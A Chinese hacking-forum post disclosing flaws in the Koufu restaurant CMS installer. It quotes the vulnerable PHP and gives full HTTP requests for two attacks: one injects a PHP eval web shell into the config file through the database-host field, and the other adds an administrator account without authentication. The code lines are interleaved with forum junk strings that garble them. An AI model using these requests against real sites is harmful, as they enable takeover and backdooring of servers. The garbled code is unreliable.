找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2290|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
, N: K( x4 W3 {2 Z- |8 W
* b1 Z7 u2 m1 |! G: S# f3 K# }/ @<?php
7 P2 s# e0 w; u3 l/ K5 ~# [. [0 Hif(file_exists("../install.lock"))5 T) l4 n9 ], r
{, t* z3 o: q. A1 m6 w2 `2 ^, i& h
    header("Location: ../");//没有退出: d' z7 }7 S  n4 }
}
! y6 k/ Q6 |; \- [; d               
# ]4 r0 g( O$ n//echo 'tst';exit;# F6 l" F0 g+ X1 q& K" b/ e
require_once("init.php");  e$ D" H8 L" a- P3 A3 d
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)* x0 T3 r: W3 {: |# p  L5 {
{# H  Y5 Z, w( \. U
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
- Q& L# ]" l- }
5 G7 o6 x: o0 p# ?1、getshell(很危险)
& z6 X' q. Y& D' _$ @! w+ v" F2 zif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
6 i' R$ E+ C9 k. o+ K/ C7 q{' L* t: V! Z" {6 B$ ?2 z
$smarty->assign("step",1);) e8 L, q+ r/ f9 S2 |
$smarty->display("index.html");
: k) n3 q: _' f0 Q7 z* a7 U% v}elseif($_REQUEST['step']==2)+ z  L5 @% {) _' G/ n9 I, N( y  K
{6 K9 A$ {- a+ n& C" V) o
    $mysql_host=trim($_POST['mysql_host']);
% c* F( w5 K* _; @0 R    $mysql_user=trim($_POST['mysql_user']);
5 D( h( O: V1 w6 A    $mysql_pwd=trim($_POST['mysql_pwd']);  J. R& W: h; T) Q( J; ]
    $mysql_db=trim($_POST['mysql_db']);2 L! g) v# G. D7 ^) `7 T! f5 ?9 P
    $tblpre=trim($_POST['tblpre']);, ^4 K3 l2 t+ G  e! z4 G
    $domain==trim($_POST['domain']);
" o8 {) m" g) h0 N  F) S    $str="<?php \r\n";( ~% u/ ^) a2 o/ [/ W) r) O$ o" |
    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";. o2 l% L8 u1 w
    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";6 n) Y5 j5 R& V3 @4 C
    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
6 o: R* m- J. i) f$ ?' T    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
: o; ^/ m. W1 k) [5 Y! b# X2 x! a    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";
4 O+ |- L. q0 \1 ~1 u    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";: k' k( A) r! K% c8 d
    $str.='define("DOMAIN","'.$domain.'");'."\r\n";
3 B2 Z8 ^& {5 _/ g    $str.='define("SKINS","default");'."\r\n";
1 E1 Q' n5 S8 A0 {+ |; y    $str.='?>';
$ l9 C, f" {. S, S6 Y/ l) Z6 P    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
# J8 f( ~9 u! v  H' d/ S0 p; N上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
% Q! e, o2 W8 Y- S* j  i9 l, YPOST /canting/install/index.php?m=index&step=2 HTTP/1.1; G4 Q1 R: W8 s
Host: 192.168.80.129
% P& {0 v5 J" Y1 @- Q. v* aUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.09 A' p, F. }: p4 c* K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8* p1 b7 M, i. a2 \9 e# S
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3  f" L# S0 s2 |% Y
Accept-Encoding: gzip, deflate0 z, S, X+ F3 Y9 i
Referer: http://192.168.80.129/canting/install/index.php?step=1
& f$ X) w! d  VCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42, D) l  C; U% h2 U6 R
Content-Type: application/x-www-form-urlencoded+ b- R9 \/ v5 G2 \
Content-Length: 126
: M8 C- ~! j2 W4 G         
8 o5 y$ W4 A& imysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
* t) l8 D( r6 a. L" N7 ?但是这个方法很危险,将导致网站无法运行。
) q4 A- ^5 D+ Q: q
; Q+ ~  V3 D& L2 p' Z* x2、直接添加管理员, a7 ^/ O$ m# W# r
$ W# ^: q1 r% O  d/ X# ^
elseif($_REQUEST['step']==5)( t0 e( t; {! p9 R" j: ~9 x1 [
{4 A1 I3 M% x6 `7 b4 x
    if($_POST)
6 c! p! Z; G& ~    {   require_once("../config/config.inc.php");
7 ]+ O# h: S: u1 l/ G, K: L        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
7 Z6 t& o, z4 k- e        mysql_select_db(MYSQL_DB,$link);% K7 h/ [0 b% C0 _- U
        mysql_query("SET NAMES ".MYSQL_CHARSET );9 `; Z$ t/ P* v% O; L& H2 X
         mysql_query("SET sql_mode=''");' r5 P* \9 U; Z! y( q
" Z! h$ s2 K& [" S! A" i# R
$adminname=trim($_POST['adminname']);9 e: p/ p' g- q7 M4 a7 v2 y& z; ]
        $pwd1=trim($_POST['pwd1']);0 O0 }" y. Z9 h7 L& [; z0 b
        $pwd2=trim($_POST['pwd2']);) \8 O, P) l, }& j9 g
        if(empty($adminname))  B& m3 i( R; I* Y+ B! D2 C5 ^$ w
        {/ u+ E: U" i( R- n' O

6 g! ^- u% p$ H& v echo "<script>alert('管理员不能为空');history.go(-1);</script>";
/ O; x/ y$ ^7 i            exit();& d9 O. @! d: U( Q7 T2 f
        }3 W) n( ~1 M( G
        if(($pwd1!=$pwd2) or empty($pwd1))9 D, A4 B  H  @" Y0 ]
        {/ D/ ?, P! R6 }( |9 o1 H
            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出' M/ [- @5 h, V: \0 g  S! i: N
        }
  i0 [; C+ ]$ }. D# b# c        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员$ A6 I7 Y, h4 F& V
    }
, u. T( X0 ?! X$ z这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:
( \. i3 R+ S; x6 JPOST /canting/install/index.php?m=index&step=5 HTTP/1.1
7 e$ \3 i7 s( Z4 X% eHost: 192.168.80.129$ t& i' L, b1 V" C; u0 X- r# _
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0, G- b( Q- o; J
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.89 q0 l8 w) K" w4 l  e
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3  I# _4 k- u* z
Accept-Encoding: gzip, deflate
8 a" t  k- H; wReferer: http://www.2cto.com /canting/install/index.php?step=1
3 v, ?+ Q. }; B, k/ o+ ~2 {Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42( H& Q, O3 t+ ^! s: A* `6 \
Content-Type: application/x-www-form-urlencoded- A' ~9 A8 C. ?* m
Content-Length: 46
- `: ^, \6 i5 s+ Q. H      
3 \6 F7 X" z0 _/ q$ xadminname=qingshen&pwd1=qingshen&pwd2=qingshen​
  I; E% s' R/ q6 }* g/ p1 }! D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表